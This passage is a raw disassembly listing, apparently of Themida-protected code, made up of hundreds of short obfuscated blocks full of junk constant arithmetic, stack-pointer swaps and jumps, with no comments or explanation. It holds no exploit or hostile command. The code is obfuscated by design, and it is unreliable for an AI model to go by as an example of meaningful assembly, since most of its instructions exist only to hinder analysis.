jmp loc_55AC80
; ---------------------------------------------------------------------------
loc_555028: ; CODE XREF: Themida_:00551159j
shr ebx, 7
shr ebx, 3
add ebx, 428F0AEBh
and ebx, 76DD0700h
not ebx
sub ebx, 5D5AEE7Eh
sub eax, ebx
pop ebx
jmp loc_55B06B
; ---------------------------------------------------------------------------
loc_55504A: ; CODE XREF: Themida_:00551E1Dj
add bl, 0
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_555059: ; CODE XREF: Themida_:00555ABCj
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
sub edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
jmp loc_5550F0
; ---------------------------------------------------------------------------
loc_555086: ; CODE XREF: Themida_:005556ADj
neg ebp
push edi
mov edi, 3D132D20h
or edi, 78A17780h
inc edi
jmp loc_559D76
; ---------------------------------------------------------------------------
loc_55509A: ; CODE XREF: Themida_:0054F5ABj
xor ebp, 3DCA05F3h
not ebp
or ebp, 61C43316h
sub ebp, 190F2834h
jmp loc_5594D6
; ---------------------------------------------------------------------------
loc_5550B3: ; CODE XREF: Themida_:00554EB4j
mov eax, ebx
pop ebx
push ecx
mov ecx, 7E1C251Bh
add eax, ecx
pop ecx
push 2FD9h
mov [esp], edx
mov edx, 0A70FA2F8h
jmp loc_553FB6
; ---------------------------------------------------------------------------
loc_5550D1: ; CODE XREF: Themida_:005594D1j
add ebp, eax
pop eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
push eax
jmp loc_558313
; ---------------------------------------------------------------------------
loc_5550F0: ; CODE XREF: Themida_:00555081j
push dword ptr [esp]
jmp loc_55231D
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_55AC1D
; ---------------------------------------------------------------------------
loc_55510A: ; CODE XREF: Themida_:0055960Ej
pop ecx
add eax, 24EF4C01h
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_559779
; ---------------------------------------------------------------------------
loc_555133: ; CODE XREF: Themida_:0055933Ej
sub edx, 3E1C3DAFh
sub edx, 5057EEDh
not edx
dec edx
shr edx, 1
jmp loc_554DDF
; ---------------------------------------------------------------------------
loc_555149: ; CODE XREF: Themida_:00557A8Aj
mov edi, 4
add [esp+4], edi
pop edi
pop eax
push 2B6Ah
mov [esp], edi
jmp loc_55004C
; ---------------------------------------------------------------------------
loc_555161: ; CODE XREF: Themida_:00552F3Bj
sub ecx, 0B71A0925h
push ecx
xor dword ptr [esp], 73C80387h
pop ebx
xor ebx, 73C80387h
pop ecx
mov edi, 0C6487BA6h
sub edi, ebx
pop ebx
add eax, edi
pop edi
add eax, ebx
push edi
push eax
mov eax, 1A655393h
sub eax, 0A012DEC8h
push ebx
jmp loc_55A1DC
; ---------------------------------------------------------------------------
loc_555196: ; CODE XREF: Themida_:00550047j
add ch, 8Bh
jmp loc_54FD2F
; ---------------------------------------------------------------------------
loc_55519E: ; CODE XREF: Themida_:00556D13j
mov eax, esp
jmp loc_54F9AF
; ---------------------------------------------------------------------------
loc_5551A5: ; CODE XREF: Themida_:0055947Ej
push ecx
jmp loc_5520C1
; ---------------------------------------------------------------------------
loc_5551AB: ; CODE XREF: Themida_:00555969j
xchg ebp, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
imul ecx
push 41B3h
mov [esp], ebp
push esp
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 4
add ebp, eax
jmp loc_550F7E
; ---------------------------------------------------------------------------
loc_5551D3: ; CODE XREF: Themida_:00558BFEj
add esp, 4
sub ebp, 635533BEh
add ebp, ecx
add ebp, 635533BEh
pop ecx
xchg ebp, [esp]
jmp loc_550B68
; ---------------------------------------------------------------------------
loc_5551ED: ; CODE XREF: Themida_:00556AC2j
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_557F26
; ---------------------------------------------------------------------------
loc_55520C: ; CODE XREF: Themida_:005552A2j
xor [esp], ecx
xor ecx, [esp]
jmp loc_553569
; ---------------------------------------------------------------------------
loc_555217: ; CODE XREF: Themida_:0054F902j
add ebx, ecx
pop ecx
jmp loc_556B8A
; ---------------------------------------------------------------------------
loc_55521F: ; CODE XREF: Themida_:0054F663j
pop edx
xor esi, [esp]
xor [esp], esi
jmp loc_55439D
; ---------------------------------------------------------------------------
loc_55522B: ; CODE XREF: Themida_:005504EBj
pop ebx
add ebp, esi
pop esi
add ebp, 4
jmp loc_559AB3
; ---------------------------------------------------------------------------
loc_555237: ; CODE XREF: Themida_:005595DEj
pop ax
jmp loc_551E0F
; ---------------------------------------------------------------------------
loc_55523E: ; CODE XREF: Themida_:0054F860j
pop ebx
add ebp, 2
jmp loc_552804
; ---------------------------------------------------------------------------
loc_555247: ; CODE XREF: Themida_:0055AA74j
shr edx, 1
push ebp
mov ebp, 7CFE7234h
shr ebp, 6
not ebp
shr ebp, 3
dec ebp
neg ebp
jmp loc_552C96
; ---------------------------------------------------------------------------
loc_55525F: ; CODE XREF: Themida_:00556646j
mov [esp], eax
jmp loc_550154
; ---------------------------------------------------------------------------
loc_555267: ; CODE XREF: Themida_:00556665j
sub ebx, 486E3539h
mov [ebx], al
jmp loc_558E8F
; ---------------------------------------------------------------------------
loc_555274: ; CODE XREF: Themida_:0055302Bj
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_554F15
; ---------------------------------------------------------------------------
loc_555289: ; CODE XREF: Themida_:00556778j
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_55520C
; ---------------------------------------------------------------------------
loc_5552A7: ; CODE XREF: Themida_:00553143j
mov edi, ebx
pop ebx
sub [esp+4], edi
jmp loc_5584D2
; ---------------------------------------------------------------------------
loc_5552B3: ; CODE XREF: Themida_:0054FA6Ej
push 3AA93093h
pop ecx
inc ecx
not ecx
push edi
mov edi, 0A1E15CDh
add edi, 0FFFFFFFFh
sub edi, 0CCACA04Dh
and ecx, edi
pop edi
jmp loc_558545
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_554CF6
; ---------------------------------------------------------------------------
loc_5552E1: ; CODE XREF: Themida_:00554B7Aj
mov esi, esp
sub esp, 4
mov [esp], eax
mov eax, 4
add esi, eax
pop eax
push edi
push ecx
jmp loc_55386D
; ---------------------------------------------------------------------------
loc_5552FB: ; CODE XREF: Themida_:00556C01j
mov ecx, eax
mov eax, [esp]
add esp, 4
push esi
mov esi, 37A5C9A6h
push 4162h
mov [esp], esi
pop edx
jmp loc_551D4A
; ---------------------------------------------------------------------------
loc_555317: ; CODE XREF: Themida_:00556065j
sub eax, 7A51ADFh
xor eax, 8D9D221Ah
add edi, eax
jmp loc_55293B
; ---------------------------------------------------------------------------
loc_555328: ; CODE XREF: Themida_:005508BDj
not eax
add eax, 5ACF02A0h
sub eax, 6F8DF9CEh
xor ecx, eax
pop eax
jmp loc_557E0E
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push esp
pop ebp
push 68CDh
jmp loc_5558F1
; ---------------------------------------------------------------------------
loc_55534D: ; CODE XREF: Themida_:0054F6F6j
sub ecx, edi
jmp loc_55AA57
; ---------------------------------------------------------------------------
loc_555354: ; CODE XREF: Themida_:0055469Bj
mov ebx, [esp]
add esp, 4
xor edx, ebp
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 41485273h
xor ecx, 204A3D92h
neg ecx
push edx
mov edx, 0D734194h
add edx, 2A20EF79h
jmp loc_553E57
; ---------------------------------------------------------------------------
loc_555381: ; CODE XREF: Themida_:0055B140j
xchg esi, ecx
dec esi
push ecx
push 16A4h
jmp loc_54FCBA
; ---------------------------------------------------------------------------
loc_55538F: ; CODE XREF: Themida_:00553E64j
sub ecx, edx
pop edx
add ebx, ecx
pop ecx
jmp loc_552440
; ---------------------------------------------------------------------------
loc_55539A: ; CODE XREF: Themida_:0054F8D4j
push edx
xor dword ptr [esp], 7C3B0BFBh
pop ecx
xor ecx, 7C3B0BFBh
mov [edi+20h], ecx
mov ecx, [esp]
jmp loc_558E46
; ---------------------------------------------------------------------------
loc_5553B4: ; CODE XREF: Themida_:0055A401j
mov edx, 0FD37E1Ch
and edx, 28611CDCh
shl edx, 3
shr edx, 6
push eax
mov eax, 1ECD339Dh
xor eax, 89E61A0h
shr eax, 3
and eax, 39D61AFDh
sub eax, 0FFB9E6C8h
xor edx, eax
pop eax
jmp loc_553FFA
; ---------------------------------------------------------------------------
loc_5553E5: ; CODE XREF: Themida_:0054F984j
not ebx
sub ebx, 0E9D9BDC8h
jmp loc_55367F
; ---------------------------------------------------------------------------
loc_5553F2: ; CODE XREF: Themida_:00553C42j
add esp, 4
jmp loc_55316C
; ---------------------------------------------------------------------------
loc_5553FA: ; CODE XREF: Themida_:005503A4j
add esp, 4
jmp loc_54FC42
; ---------------------------------------------------------------------------
loc_555402: ; CODE XREF: Themida_:00552574j
mov al, bh
mov cl, al
pop eax
push ebx
mov bl, cl
mov ah, bl
pop ebx
pop ecx
mov ch, ah
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_550945
; ---------------------------------------------------------------------------
loc_555421: ; CODE XREF: Themida_:0054F4A0j
push 70C2396h
pop ebx
or ebx, 5CD702EAh
xor ebx, 398817BBh
mov eax, ebx
pop ebx
and ebx, eax
jmp loc_5541DB
; ---------------------------------------------------------------------------
loc_55543D: ; CODE XREF: Themida_:00559EA4j
xor ebp, [esp]
xor [esp], ebp
jmp loc_5593B8
; ---------------------------------------------------------------------------
loc_555448: ; CODE XREF: Themida_:005532E0j
push ecx
push 51D945A2h
pop ecx
jmp loc_5500E9
; ---------------------------------------------------------------------------
loc_555454: ; CODE XREF: Themida_:00554937j
pop esp
mov [esp], esi
mov esi, 10B61F0Fh
jmp loc_54EC12
; ---------------------------------------------------------------------------
loc_555462: ; CODE XREF: Themida_:00557FFFj
mov [esp], ebx
jmp loc_559748
; ---------------------------------------------------------------------------
loc_55546A: ; CODE XREF: Themida_:00553B49j
pop esi
pop edx
sub edx, 172B2B98h
add edx, eax
push ebp
jmp loc_554D4D
; ---------------------------------------------------------------------------
loc_55547A: ; CODE XREF: Themida_:005563ADj
xor edx, 46394161h
or edx, 55F3720Ah
or edx, 36406DCEh
xor edx, 503D65D3h
and edx, 61B706E5h
add edx, 0DE79FE00h
jmp loc_5597AC
; ---------------------------------------------------------------------------
loc_5554A3: ; CODE XREF: Themida_:005542CFj
xchg edx, [esp]
pop esp
dec word ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5554B1: ; CODE XREF: Themida_:00553AD8j
add edi, 2FF62F5Ah
sub edi, 0A7D54ABBh
add ebx, edi
pop edi
push eax
mov eax, 0FDF16C2h
jmp loc_55453C
; ---------------------------------------------------------------------------
loc_5554CB: ; CODE XREF: Themida_:0055699Cj
mov ecx, 0E6A08CD0h
xor ebx, ecx
jmp loc_55596E
; ---------------------------------------------------------------------------
loc_5554D7: ; CODE XREF: Themida_:00558413j
mov eax, 55394D61h
xor ecx, eax
mov eax, [esp]
add esp, 4
add ecx, 1
sub ecx, 0FFFFFFFFh
add ecx, 47696D8Eh
jmp loc_556D54
; ---------------------------------------------------------------------------
loc_5554F5: ; CODE XREF: Themida_:005562B4j
add ebp, edi
jmp loc_554C0D
; ---------------------------------------------------------------------------
loc_5554FC: ; CODE XREF: Themida_:005578D2j
mov eax, esp
add eax, 4
jmp loc_550544
; ---------------------------------------------------------------------------
loc_555508: ; CODE XREF: Themida_:00553472j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 2C3Dh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ecx
mov ecx, esp
push 1814h
mov [esp], edi
mov edi, 66921851h
push edi
sub dword ptr [esp], 0FFFFFFFFh
jmp loc_55AFC4
; ---------------------------------------------------------------------------
loc_55554C: ; CODE XREF: Themida_:00558448j
sub ebp, 1DD123F0h
mov ebx, ebp
pop ebp
mov eax, ebx
pop ebx
shl eax, 6
jmp loc_5580D5
; ---------------------------------------------------------------------------
loc_555560: ; CODE XREF: Themida_:0055B19Aj
pop esp
pop dword ptr [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_559592
; ---------------------------------------------------------------------------
loc_555572: ; CODE XREF: Themida_:0054FD5Dj
push ebp
mov ebp, 2DE97F35h
push ecx
mov ecx, 726B51C8h
not ecx
and ecx, 3694196Dh
shl ecx, 6
or ecx, 46CD3660h
xor ecx, 4DBE6FE2h
and ebp, ecx
jmp loc_552B03
; ---------------------------------------------------------------------------
loc_55559C: ; CODE XREF: Themida_:00556358j
push ecx
mov ecx, esp
push 7E78h
mov [esp], ebp
jmp loc_554759
; ---------------------------------------------------------------------------
loc_5555AC: ; CODE XREF: Themida_:00550D55j
mov ebx, [esp]
jmp loc_559D0B
; ---------------------------------------------------------------------------
loc_5555B4: ; CODE XREF: Themida_:00550E80j
shl edx, 1
push eax
mov eax, 24h
jmp loc_55918E
; ---------------------------------------------------------------------------
loc_5555C1: ; CODE XREF: Themida_:0055450Ej
push esi
mov esi, 2EEF7461h
shr esi, 7
add esi, 62BA324Dh
dec esi
jmp loc_55A5AD
; ---------------------------------------------------------------------------
loc_5555D6: ; CODE XREF: Themida_:00558EF3j
shl edx, 6
not edx
neg edx
xor edx, 50B776E0h
add edx, 0EE421763h
add esi, edx
pop edx
push ebp
push esi
push 7B1455E6h
pop esi
shr esi, 3
shr esi, 2
sub esi, 3D8A2ABh
mov ebp, esi
pop esi
sub esi, 79E812A3h
add esi, 286F680Fh
add esi, ebp
sub esi, 286F680Fh
push ecx
mov ecx, 79E812A3h
add esi, ecx
jmp loc_555D65
; ---------------------------------------------------------------------------
loc_555624: ; CODE XREF: Themida_:005509B3j
push edx
mov dl, 12h
jmp loc_555B07
; ---------------------------------------------------------------------------
loc_55562C: ; CODE XREF: Themida_:005512E0j
add edi, esi
pop esi
add eax, 4D100565h
add eax, edi
sub eax, 4D100565h
pop edi
add eax, 2
xchg eax, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
mov cl, dl
push edx
sub esp, 4
mov [esp], eax
mov al, cl
mov dh, al
mov eax, [esp]
add esp, 4
mov [edi+eax*4+1], dh
pop edx
push dword ptr [esp]
pop ecx
push ebx
jmp loc_54F7A8
; ---------------------------------------------------------------------------
loc_55567D: ; CODE XREF: Themida_:00557BADj
mov dh, 0A2h
jmp loc_55A173
; ---------------------------------------------------------------------------
loc_555684: ; CODE XREF: Themida_:00550F5Fj
pop edx
jmp loc_55A827
; ---------------------------------------------------------------------------
loc_55568A: ; CODE XREF: Themida_:0055B041j
xor ch, 0Ah
not ch
push 2EB3h
mov [esp], ebx
mov bl, 30h
and ch, bl
jmp loc_559A9A
; ---------------------------------------------------------------------------
loc_5556A0: ; CODE XREF: Themida_:00555880j
pop esp
ror dword ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5556AA: ; CODE XREF: Themida_:00554A3Cj
and ebp, edx
pop edx
jmp loc_555086
; ---------------------------------------------------------------------------
loc_5556B2: ; CODE XREF: Themida_:00550748j
add dword ptr [esp], 4
pop esi
sub esp, 4
mov [esp], edi
mov edi, 1AA96D68h
jmp loc_55A6FC
; ---------------------------------------------------------------------------
loc_5556C7: ; CODE XREF: Themida_:005504F1j
add eax, 1B98EB98h
mov ebx, eax
pop eax
add esi, ebx
pop ebx
jmp loc_553EEF
; ---------------------------------------------------------------------------
loc_5556D7: ; CODE XREF: Themida_:0055AFB0j
mov ebp, [esp]
jmp loc_553FE2
; ---------------------------------------------------------------------------
loc_5556DF: ; CODE XREF: Themida_:00553DA9j
pop ebp
pop dword ptr [esp]
pop esp
push esi
mov esi, 69A16BD3h
jmp loc_5573AB
; ---------------------------------------------------------------------------
loc_5556EF: ; CODE XREF: Themida_:00551C06j
pop ecx
sub esp, 4
mov [esp], edi
push esp
jmp loc_54FE7A
; ---------------------------------------------------------------------------
loc_5556FF: ; CODE XREF: Themida_:00550EF2j
mov esi, 21FC2D34h
push ebx
mov ebx, 60BB06F8h
and ebx, 44886BEBh
or ebx, 646C0B6Ch
neg ebx
add ebx, 1419292Fh
xor ebx, 9E5E0925h
and esi, ebx
pop ebx
push ebx
mov ebx, 28077632h
or esi, ebx
jmp loc_55A80A
; ---------------------------------------------------------------------------
loc_555734: ; CODE XREF: Themida_:0055A3D4j
pop ecx
add bl, 61h
add bl, al
sub bl, 61h
push dx
mov dh, 0CEh
sub bl, dh
pop dx
push eax
mov al, 0CAh
jmp loc_559AAA
; ---------------------------------------------------------------------------
loc_55574D: ; CODE XREF: Themida_:0054FFEFj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_554705
; ---------------------------------------------------------------------------
loc_55575C: ; CODE XREF: Themida_:00553464j
xor edx, [esp]
mov esp, [esp]
jmp loc_557157
; ---------------------------------------------------------------------------
loc_555767: ; CODE XREF: Themida_:0054EC7Ej
mov eax, 4
add [esp+4], eax
jmp loc_559281
; ---------------------------------------------------------------------------
loc_555775: ; CODE XREF: Themida_:0055AD9Bj
push 42586565h
pop eax
sub eax, 3114F67Eh
mov ebx, eax
pop eax
and ebx, 62927ED5h
inc ebx
xor ebx, 75E025ABh
jmp loc_558E27
; ---------------------------------------------------------------------------
loc_555795: ; CODE XREF: Themida_:00552B6Ej
dec esi
xor esi, 0D785CF0h
jmp loc_558534
; ---------------------------------------------------------------------------
loc_5557A1: ; CODE XREF: Themida_:00552E42j
push ebx
jmp loc_55086E
; ---------------------------------------------------------------------------
loc_5557A7: ; CODE XREF: Themida_:00558E39j
sub esp, 4
mov [esp], ebp
push 129E6510h
mov ebp, [esp]
add esp, 4
xor eax, ebp
pop ebp
sub esp, 4
mov [esp], ecx
push edi
mov edi, 3FE05F00h
add edi, 170A17D0h
mov ecx, edi
pop edi
push edx
mov edx, 0FC95B33h
push ebp
jmp loc_55AC40
; ---------------------------------------------------------------------------
loc_5557DF: ; CODE XREF: Themida_:005583A5j
dec cl
add cl, 1Bh
and cl, 6Dh
inc cl
add cl, 63h
add dh, cl
jmp loc_54F805
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, esp
sub esp, 4
mov [esp], eax
mov eax, 4
add edi, eax
pop eax
sub edi, 4
xchg edi, [esp]
jmp loc_5501EA
; ---------------------------------------------------------------------------
loc_555816: ; CODE XREF: Themida_:00555ED1j
sub eax, 4B081557h
add eax, esi
jmp loc_552950
; ---------------------------------------------------------------------------
loc_555822: ; CODE XREF: Themida_:00557F7Cj
sub esi, 42FB5A2Ch
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
push eax
sub esp, 4
jmp loc_54F2A7
; ---------------------------------------------------------------------------
loc_55583B: ; CODE XREF: Themida_:0055AB6Fj
pop ax
dec cl
push ebx
push edx
mov dl, 62h
mov bh, dl
jmp loc_54F4D5
; ---------------------------------------------------------------------------
dw 2489h
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 58h
sub esp, 4
mov [esp], esi
push ecx
mov ecx, 4
mov esi, ecx
pop ecx
add eax, esi
pop esi
add eax, 4
xchg eax, [esp]
pop esp
add esi, 4
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5556A0
; ---------------------------------------------------------------------------
loc_555885: ; CODE XREF: Themida_:00551EB2j
pop ecx
mov esi, [esp]
add esp, 4
sub edi, eax
pop eax
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_559C9C
; ---------------------------------------------------------------------------
loc_55589D: ; CODE XREF: Themida_:00555EF1j
push edi
mov edi, 400925FDh
dec edi
neg edi
shl edi, 8
jmp loc_558AF4
; ---------------------------------------------------------------------------
loc_5558AE: ; CODE XREF: Themida_:0054F66Aj
sub dl, 9Dh
jmp loc_559825
; ---------------------------------------------------------------------------
loc_5558B6: ; CODE XREF: Themida_:00552FE1j
push eax
jmp loc_551EB7
; ---------------------------------------------------------------------------
loc_5558BC: ; CODE XREF: Themida_:005519A8j
mov ecx, [esp]
add esp, 4
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_552312
; ---------------------------------------------------------------------------
loc_5558D9: ; CODE XREF: Themida_:005596F9j
push dword ptr [esp]
jmp loc_55AE9E
; ---------------------------------------------------------------------------
loc_5558E1: ; CODE XREF: Themida_:00558B06j
pop esp
xchg ebx, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5558F1: ; CODE XREF: Themida_:00555348j
mov [esp], ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 27512C78h
shl edi, 6
not edi
add edi, 0D44B1E05h
add ecx, edi
jmp loc_54FF50
; ---------------------------------------------------------------------------
loc_55591F: ; CODE XREF: Themida_:00556282j
add edx, 376520B4h
add edx, ebp
sub edx, 376520B4h
pop ebp
xchg edx, [esp]
pop esp
push 1EFFh
mov [esp], ebp
push 1000h
push dword ptr [esp]
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_55A659
; ---------------------------------------------------------------------------
loc_55595D: ; CODE XREF: Themida_:005524DFj
add ebp, 4
add ebp, 4
jmp loc_5551AB
; ---------------------------------------------------------------------------
loc_55596E: ; CODE XREF: Themida_:005554D2j
pop ecx
jmp loc_5519D2
; ---------------------------------------------------------------------------
loc_555974: ; CODE XREF: Themida_:005589ADj
add dword ptr [esp], 4D686BAEh
pop edi
sub edi, 4D686BAEh
mov esi, [esp]
jmp loc_5580B6
; ---------------------------------------------------------------------------
loc_55598A: ; CODE XREF: Themida_:00556A4Dj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55598F: ; CODE XREF: Themida_:0055670Aj
sub eax, esi
mov esi, [esp]
push edx
push esp
jmp loc_550319
; ---------------------------------------------------------------------------
loc_55599B: ; CODE XREF: Themida_:00552002j
pop ebp
jmp loc_55A6B4
; ---------------------------------------------------------------------------
loc_5559A1: ; CODE XREF: Themida_:0055264Bj
xor ebp, 13A2350h
mov edi, [esp]
add esp, 4
inc ebp
sub ebp, 0F38C4F5Fh
jmp loc_55891E
; ---------------------------------------------------------------------------
loc_5559B9: ; CODE XREF: Themida_:005571DAj
push edi
mov edi, 2BA70095h
sub edx, edi
mov edi, [esp]
add esp, 4
add edx, eax
jmp loc_54F086
; ---------------------------------------------------------------------------
loc_5559CE: ; CODE XREF: Themida_:0055835Aj
mov ebx, 0EE106B85h
sub ecx, ebx
jmp loc_55952B
; ---------------------------------------------------------------------------
loc_5559DA: ; CODE XREF: Themida_:00557C91j
push eax
mov eax, 4
jmp loc_5524D4
; ---------------------------------------------------------------------------
loc_5559E5: ; CODE XREF: Themida_:00550ED2j
pop eax
sub eax, esi
pop esi
push 1FC6h
jmp loc_559C7C
; ---------------------------------------------------------------------------
loc_5559F3: ; CODE XREF: Themida_:0054EDB8j
push ecx
mov ecx, 17880A63h
and ecx, 2CCE094Ah
shr ecx, 8
shr ecx, 6
inc ecx
sub ecx, 121Dh
add eax, ecx
jmp loc_55208C
; ---------------------------------------------------------------------------
loc_555A13: ; CODE XREF: Themida_:00553847j
pop esp
xor [esp], eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_555A1C: ; CODE XREF: Themida_:0055693Aj
pop eax
push ebx
jmp loc_559F9B
; ---------------------------------------------------------------------------
loc_555A23: ; CODE XREF: Themida_:0055A2ABj
mov [esp], ebp
mov ebp, 4
push eax
mov eax, 60796226h
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_5579FF
; ---------------------------------------------------------------------------
loc_555A3E: ; CODE XREF: Themida_:0055AA93j
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
pop eax
push eax
jmp loc_559412
; ---------------------------------------------------------------------------
loc_555A63: ; CODE XREF: Themida_:0054F819j
sub dh, 0EDh
add dh, ch
add dh, 0EDh
jmp loc_55906A
; ---------------------------------------------------------------------------
loc_555A70: ; CODE XREF: Themida_:00557050j
pop esp
xor bx, ax
movzx eax, ax
jmp loc_559DCE
; ---------------------------------------------------------------------------
loc_555A7C: ; CODE XREF: Themida_:00550273j
sub ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_54FB1F
; ---------------------------------------------------------------------------
loc_555A93: ; CODE XREF: Themida_:0054F4D0j
push ebx
mov ebx, 53CF063Ch
mov edi, ebx
pop ebx
mov edx, 0B3536C22h
add edx, edi
pop edi
add edx, 72E29F6h
push ebp
mov ebp, 0F1B24C61h
sub edx, ebp
pop ebp
jmp loc_54EDDE
; ---------------------------------------------------------------------------
loc_555AB8: ; CODE XREF: Themida_:005545DFj
mov ax, [esp]
jmp loc_555059
; ---------------------------------------------------------------------------
loc_555AC1: ; CODE XREF: Themida_:005502F5j
push esp
pop edi
push ebp
mov ebp, 7A3602A0h
jmp loc_55283F
; ---------------------------------------------------------------------------
loc_555ACE: ; CODE XREF: Themida_:0054F48Dj
push eax
mov eax, 2
add ecx, eax
pop eax
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov fs:[edx], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_555AEC: ; CODE XREF: Themida_:00550719j
mov edi, 7B6F2B75h
or ecx, edi
pop edi
push esi
mov esi, 7F7F6775h
sub ecx, esi
jmp loc_559BC0
; ---------------------------------------------------------------------------
loc_555B01: ; CODE XREF: Themida_:005504C2j
pop edx
jmp loc_5514F5
; ---------------------------------------------------------------------------
loc_555B07: ; CODE XREF: Themida_:00555627j
dec dl
dec dl
push ecx
mov ch, 95h
shr ch, 8
sub ch, 0A8h
sub ch, 9Bh
add dl, ch
pop ecx
mov cl, dl
pop edx
push ebx
jmp loc_553968
; ---------------------------------------------------------------------------
loc_555B23: ; CODE XREF: Themida_:00556D4Fj
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
loc_555B2F: ; CODE XREF: Themida_:00551BFAj
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_5574C5
; ---------------------------------------------------------------------------
loc_555B47: ; CODE XREF: Themida_:00558698j
xchg ecx, [esp]
jmp loc_557A6F
; ---------------------------------------------------------------------------
loc_555B4F: ; CODE XREF: Themida_:005541C0j
add ebx, esi
pop esi
sub ebx, 6DE947CEh
pop ecx
xor ebx, 138EB421h
sub eax, 408E1959h
sub eax, ebx
push ecx
mov ecx, 408E1959h
add eax, ecx
pop ecx
pop ebx
jmp loc_556EDA
; ---------------------------------------------------------------------------
loc_555B75: ; CODE XREF: Themida_:00551D04j
xor ebp, [esp]
pop esp
div cx
jmp loc_5518BB
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
mov edx, [esp]
jmp loc_5513CD
; ---------------------------------------------------------------------------
loc_555B8F: ; CODE XREF: Themida_:00553203j
mov dh, 32h
mov al, dh
pop edx
add al, 85h
mov dl, al
jmp loc_5549B0
; ---------------------------------------------------------------------------
loc_555B9D: ; CODE XREF: Themida_:00552652j
add edx, esi
jmp loc_554367
; ---------------------------------------------------------------------------
loc_555BA4: ; CODE XREF: Themida_:00554398j
add esi, eax
mov eax, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_555BB7: ; CODE XREF: Themida_:0055A0E0j
pop esp
mov [esp], eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_555BC0: ; CODE XREF: Themida_:00555E89j
pop esi
jmp loc_550B32
; ---------------------------------------------------------------------------
loc_555BC6: ; CODE XREF: Themida_:005531C3j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_54F8D9
; ---------------------------------------------------------------------------
loc_555BD2: ; CODE XREF: Themida_:00556EA6j
add edx, 0FF591BD9h
add ebp, edx
pop edx
mov eax, ebp
mov ebp, [esp]
add esp, 4
and ecx, eax
pop eax
shr ecx, 0Bh
jmp loc_55A269
; ---------------------------------------------------------------------------
loc_555BEE: ; CODE XREF: Themida_:00557760j
pop dword ptr [esp]
jmp loc_558136
; ---------------------------------------------------------------------------
loc_555BF6: ; CODE XREF: Themida_:00557B38j
mov [esp], edi
mov edi, 4
and ecx, edi
jmp loc_55359B
; ---------------------------------------------------------------------------
loc_555C05: ; CODE XREF: Themida_:0054EF6Fj
sub [esp], edi
pop edi
push ebx
mov ebx, 0F42E90FEh
jmp loc_54FD0C
; ---------------------------------------------------------------------------
loc_555C14: ; CODE XREF: Themida_:00554C08j
mov ch, 0E4h
neg ch
neg ch
shl ch, 6
add ch, 93h
sub ch, 0D6h
sub ch, 78h
jmp loc_55B17C
; ---------------------------------------------------------------------------
loc_555C2B: ; CODE XREF: Themida_:005518EDj
mov [esp], ebp
push edi
mov edi, 244A0CDFh
push ecx
mov ecx, 229A3858h
shr ecx, 3
jmp loc_556816
; ---------------------------------------------------------------------------
loc_555C42: ; CODE XREF: Themida_:0054EFCBj
sub ax, 0FFE0h
add di, ax
jmp loc_558508
; ---------------------------------------------------------------------------
